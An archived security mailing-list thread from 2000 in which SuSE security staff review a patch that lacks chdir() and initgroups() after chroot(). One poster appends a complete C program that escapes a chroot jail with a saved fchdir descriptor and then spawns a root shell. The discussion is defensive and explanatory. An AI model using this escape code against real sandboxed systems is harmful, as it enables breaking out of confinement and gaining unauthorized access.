hm, the guy, who wrotes that patch seems not very familiar with chroot()ed environments. he misses the chdir() after the chroot(), which makes the chroot jail unsecure. to be on the safe track initgroups() should be called in addition to setgid(), he also missed that. there could be more failures like this. if i have the time, i'll debug and test this patch... maybe it'll become part of our next SuSE, but I don't think so. As long as we have Marc's Compartment it would be wiser to use this instead of a buggy patch.

Yeah Olaf Kirch made the same comment. What's the URL for compartment, I haven't looked at that in ages (my head hurts).

Bye, Thomas

-Kurt

hm, the guy, who wrotes that patch seems not very familiar with chroot()ed environments. he misses the chdir() after the chroot(), which makes the chroot jail unsecure. to be on the safe track initgroups() should be

Just a brief note, since people often tend to consider chroot() a security feature of the kernel: As long as a process inside a chroot()ed environment is capable of doing chroot(2), the process will be able to break out. Executing chdir(2) after chroot(2) doesn't really remedy this illness. Try this: chroot(1) as root and then execute the little q+d hack underneath my sig to break out. You might want to link it statically if you don't have the necessary libraries around. Note: chroot(1) does chdir("/") right after chroot(2).

called in addition to setgid(), he also missed that. there could be more failures like this. if i have the time, i'll debug and test this patch... maybe it'll become part of our next SuSE, but I don't think so. As long as we have Marc's Compartment it would be wiser to use this instead of a buggy patch.

Bye, Thomas

Thanks, Roman Drahtmüller. -- - - | Roman Drahtmüller "Caution: Cape does not | SuSE GmbH - Security enable user to fly." | Nürnberg, Germany (Batman Costume warning label) | - - #include #include #include #include #include #define CDIR "testdir" int main() { int a; mkdir(CDIR, 0x666); a=open(".",O_RDONLY); fchdir(a); chroot(CDIR); chdir("."); fchdir(a); chdir("../../../../.."); chroot("."); chdir("."); system("/bin/sh"); exit(0); }

On Tue, 25 Jul 2000, Roman Drahtmueller wrote:

...

hm, the guy, who wrotes that patch seems not very familiar with chroot()ed environments. he misses the chdir() after the chroot(), which makes the chroot jail unsecure. to be on the safe track initgroups() should be

Just a brief note, since people often tend to consider chroot() a security feature of the kernel:

As long as a process inside a chroot()ed environment is capable of doing chroot(2), the process will be able to break out. Executing chdir(2) after chroot(2) doesn't really remedy this illness.

if the process could chroot(), it has root privileges. with the power of root you have 1001 ways to break chroot. it's also possible to break chroot without root.

Try this: chroot(1) as root and then execute the little q+d hack underneath my sig to break out. You might want to link it statically if you don't have the necessary libraries around.

AFAIK this bug does not work on all Unix derivates. Bye, Thomas -- Thomas Biege, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: thomas@suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~thomas/thomas.pgp | pgp -fka" Key fingerprint = 09 48 F2 FD 81 F7 E7 98 6D C7 36 F1 96 6A 12 47